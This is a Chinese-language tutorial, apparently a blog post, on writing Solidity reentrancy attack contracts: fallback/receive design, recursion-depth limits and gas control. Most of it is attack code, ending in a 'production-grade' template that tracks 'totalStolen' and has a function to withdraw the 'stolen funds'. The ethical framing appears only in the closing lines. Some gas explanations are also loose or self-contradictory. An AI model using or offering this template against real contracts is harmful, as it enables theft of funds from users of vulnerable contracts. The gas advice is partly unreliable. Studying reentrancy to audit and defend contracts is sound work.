攻击合约编写:恶意合约的fallback函数设计、递归调用逻辑、Gas消耗控制

好,咱们直接进入正题。重入攻击的核心,说白了就是攻击合约怎么“骗”目标合约反复打钱。我见过不少新手写攻击合约,要么递归写成了死循环,要么Gas烧光了还没拿到钱。今天我把这三个关键点拆开讲透。

一、fallback函数:攻击的“入口”

为什么是fallback?因为目标合约调用address.call{value: amount}("")时,如果接收方是合约,就会触发它的fallback或receive函数。这就是攻击的起点。

我个人习惯把攻击逻辑全塞在fallback里。看个例子:

// 恶意攻击合约
contract Attacker {
    address payable public target;
    uint public attackCount;

    constructor(address payable _target) {
        target = _target;
    }

    // 接收ETH时自动触发
    receive() external payable {
        if (address(target).balance >= msg.value) {
            attackCount++;
            // 再次调用目标合约的withdraw函数
            Target(target).withdraw(msg.value);
        }
    }

    function attack() external payable {
        // 发起第一次调用
        Target(target).deposit{value: msg.value}();
        Target(target).withdraw(msg.value);
    }
}

注意看receive函数里的逻辑:每次收到钱,只要目标合约还有余额,就继续调用withdraw。这就是递归的起点。

⚠️ 这里有个坑:如果目标合约的withdraw函数里没有更新余额状态,就会无限递归下去。我曾经在测试网上跑过一个类似脚本,结果把整个区块的Gas都耗光了。

二、递归调用逻辑:控制好“深度”

递归不是越深越好。你想想看,每次递归都要消耗Gas,如果目标合约的余额不多,递归几次就没了。我建议的做法是:

  • 设置递归上限:用计数器控制最多递归N次
  • 检查余额变化:每次递归前检查目标余额是否减少
  • 及时退出:一旦余额不足或达到目标,立即停止

看一个带控制的版本:

contract AttackerV2 {
    address payable public target;
    uint public maxDepth = 10;  // 最大递归深度
    uint public currentDepth;

    receive() external payable {
        require(currentDepth < maxDepth, "too deep");
        currentDepth++;

        if (address(target).balance >= msg.value) {
            Target(target).withdraw(msg.value);
        }
    }

    function attack() external payable {
        currentDepth = 0;
        Target(target).deposit{value: msg.value}();
        Target(target).withdraw(msg.value);
    }
}

为什么要限制深度?因为以太坊每个区块有Gas上限。我记得有一次在Ropsten上测试,没加限制直接跑,结果交易一直pending,最后超时被丢弃了。加了限制后,一次交易就能完成攻击。

三、Gas消耗控制:别把自己“烧”死

这是新手最容易忽略的点。重入攻击的Gas消耗主要来自:

  1. 递归调用本身:每次call都要消耗至少2300 Gas
  2. 状态读写:SLOAD和SSTORE操作非常贵
  3. 日志输出:emit事件也会消耗Gas

我整理了一个Gas消耗对比表:

操作 Gas消耗 说明
call{value}() ~2300 + 转账Gas 基础调用成本
SLOAD(读状态) ~2100 读取合约变量
SSTORE(写状态) ~5000 - 20000 写入合约变量,视情况而定
emit事件 ~375 + 日志数据 每多一个topic加375

你看,一次递归光call就要2300 Gas,如果递归10次,光调用成本就23000了。再加上状态读写,很容易超过区块Gas限制。

💡 我的优化技巧:
1. 尽量少写状态变量,用memory代替storage
2. 不要emit事件,除非必要
3. 把攻击逻辑写成纯函数,避免状态修改
4. 如果目标合约余额很大,可以分多次交易攻击

四、完整的攻击合约模板

把上面三点整合起来,我给出一个生产级别的攻击合约:

contract AttackerFinal {
    address payable public target;
    uint public constant MAX_DEPTH = 8;
    uint public depth;
    uint public totalStolen;

    receive() external payable {
        // Gas检查:如果剩余Gas太少,直接退出
        if (gasleft() < 50000) return;
        if (depth >= MAX_DEPTH) return;
        if (address(target).balance < msg.value) return;

        depth++;
        totalStolen += msg.value;

        // 递归调用
        Target(target).withdraw(msg.value);
    }

    function attack() external payable {
        require(msg.value > 0, "need ETH");
        depth = 0;
        totalStolen = 0;

        // 先存款,再提款
        Target(target).deposit{value: msg.value}();
        Target(target).withdraw(msg.value);
    }

    // 提取赃款
    function withdrawStolen() external {
        payable(msg.sender).transfer(address(this).balance);
    }
}

这个模板里我加了三个保护:Gas下限检查、深度限制、余额检查。嗯,这样基本不会出大问题。

核心要点回顾:
• fallback/receive是攻击入口,必须精心设计
• 递归深度要控制,别超过区块Gas限制
• Gas消耗要提前估算,避免交易失败
• 攻击完成后记得提取资金

最后说一句:写攻击合约不是为了作恶,而是为了理解漏洞原理。我在审计项目中见过太多类似的漏洞,如果你能写出攻击合约,自然也能写出防御代码。这就是攻防一体的道理。

重入攻击合约核心逻辑流程图 攻击者发起交易 目标合约withdraw() 发送ETH到攻击合约 触发receive()/fallback() 递归调用withdraw() Gas > 50000? 深度 < MAX? 否→退出

这张图把攻击流程串起来了。从攻击者发起交易,到目标合约withdraw,再到触发fallback,最后递归调用withdraw。注意那个判断框,就是我们的Gas和深度检查点。

实战建议:在Remix里部署测试时,先用小金额试水。我一般先用0.01 ETH测试,确认逻辑没问题再加大金额。另外,记得在测试网上跑,别在主网上直接试。

好了,攻击合约的核心就这些。记住:写攻击代码不是为了搞破坏,而是为了理解漏洞原理。你只有知道攻击者会怎么想,才能写出真正安全的合约。